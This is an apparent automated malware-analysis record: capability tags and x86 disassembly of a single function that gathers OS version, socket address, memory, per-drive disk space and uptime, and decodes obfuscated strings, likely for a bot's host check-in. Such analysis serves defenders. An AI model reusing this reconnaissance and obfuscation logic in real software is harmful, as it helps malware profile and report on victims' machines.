Function at 0x4069d0
Capabilities:
Contain obfuscated stackstrings
Get disk information
Get disk size
Get local ipv4 addresses
Get memory capacity
Get socket information
Get system information on windows

Disassembly:
sub esp, 0x5dc
push ebx
push ebp
push esi
lea eax, [esp + 0xb8]
push edi
push eax
mov byte [esp + 0xbc], 0x66
mov byte [esp + 0x19a], 0
mov dword [esp + 0xc0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov ebp, dword [esp + 0x5f0]
lea ecx, [esp + 0x3ec]
push 0x100
push ecx
push ebp
call fcn.00406510
xor edx, edx
add esp, 0xc
mov dword [esp + 0x2c], edx
lea eax, [esp + 0x28]
mov dword [esp + 0x30], edx
push eax
mov dword [esp + 0x38], edx
lea ecx, [esp + 0x30]
mov dword [esp + 0x3c], edx
mov edx, dword [esp + 0x5f8]
push ecx
mov dword [esp + 0x30], 0x10
mov eax, dword [edx + 0x80]
push eax
call dword [sym.imp.WS2_32.dll_getsockname]
mov ecx, dword [esp + 0x30]
lea esi, [esp + 0x3ec]
mov dword [esp + 0x160], ecx
mov ecx, 0xc
lea edi, [esp + 0x164]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
call fcn.00406120
lea edx, [esp + 0x94]
mov dword [esp + 0x158], eax
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0xa8]
lea ecx, [esp + 0x54]
push ecx
mov dword [esp + 0x160], eax
mov dword [esp + 0x58], 0x40
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov eax, dword [esp + 0x5c]
mov edx, dword [esp + 0x60]
mov ecx, 0x14
call fcn.0040d890
mov edi, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
xor esi, esi
mov dword [esp + 0x1a0], eax
xor ebx, ebx
mov dl, bl
lea eax, [esp + 0x1c]
add dl, 0x42
push eax
mov byte [esp + 0x20], dl
mov byte [esp + 0x21], 0x3a
mov byte [esp + 0x22], 0x5c
mov byte [esp + 0x23], 0
call edi
cmp eax, 3
jne 0x406b2a
lea ecx, [esp + 0x44]
lea edx, [esp + 0x3c]
push ecx
lea eax, [esp + 0x50]
push edx
lea ecx, [esp + 0x24]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x3c]
mov edx, dword [esp + 0x40]
mov ecx, 0x14
call fcn.0040d890
add esi, eax
inc ebx
cmp ebx, 0x1a
jl 0x406ad8
mov dword [esp + 0x1a4], esi
call fcn.004063f0
mov edx, dword [esp + 0x5f8]
mov byte [esp + 0x196], al
mov dword [esp + 0x198], edx
call fcn.00406460
mov dword [esp + 0x19c], eax
call fcn.00406410
mov dword [esp + 0x21c], eax
call fcn.004067a0
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x270]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov byte [esp + 0x10], 0x25
mov byte [esp + 0x11], 0x64
mov byte [esp + 0x12], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov edi, eax
mov eax, 0x31b5d43b
mul edi
mov esi, dword [sym.imp.USER32.dll_wsprintfA]
lea ecx, [esp + 0x10]
shr edx, 0x18
push edx
lea edx, [esp + 0x38c]
push ecx
push edx
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x5265c00
div ecx
mov eax, 0x95217cb1
mov edi, edx
mul edi
shr edx, 0x15
push edx
lea edx, [esp + 0x20]
lea eax, [esp + 0x334]
push edx
push eax
call esi
mov eax, edi
xor edx, edx
mov ecx, 0x36ee80
div ecx
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
push edx
lea edx, [esp + 0x2c]
lea eax, [esp + 0x2dc]
push edx
push eax
call esi
lea ecx, [esp + 0x2e4]
lea edx, [esp + 0x348]
push ecx
lea eax, [esp + 0x3b0]
push edx
push eax
lea ecx, [esp + 0x20a]
push 0x413644
push ecx
call esi
push str.3g4D0w8IrXQtqY
call fcn.004060d0
lea edx, [esp + 0x236]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x100
mov eax, ecx
mov esi, edi
mov edi, edx
mov byte [esp + 0x54], 0x44
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov byte [esp + 0x55], 0x65
and ecx, 3
mov byte [esp + 0x56], 0x66
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x52c]
mov byte [esp + 0x57], 0x61
push ecx
push ebp
mov byte [esp + 0x60], 0x75
mov byte [esp + 0x61], 0x6c
mov byte [esp + 0x62], 0x74
mov byte [esp + 0x63], 0
call fcn.00406690
add esp, 0x48
test eax, eax
jne 0x406cca
mov edx, str.6gkIBfkSqY
test edx, edx
je 0x406cc4
push edx
call fcn.004060d0
add esp, 4
jmp 0x406cd1
lea eax, [esp + 0x14]
jmp 0x406cd1
lea eax, [esp + 0x4ec]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x1a8]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x208
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0xbc]
push ecx
mov ecx, dword [esp + 0x5fc]
call fcn.00401930
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x5dc
ret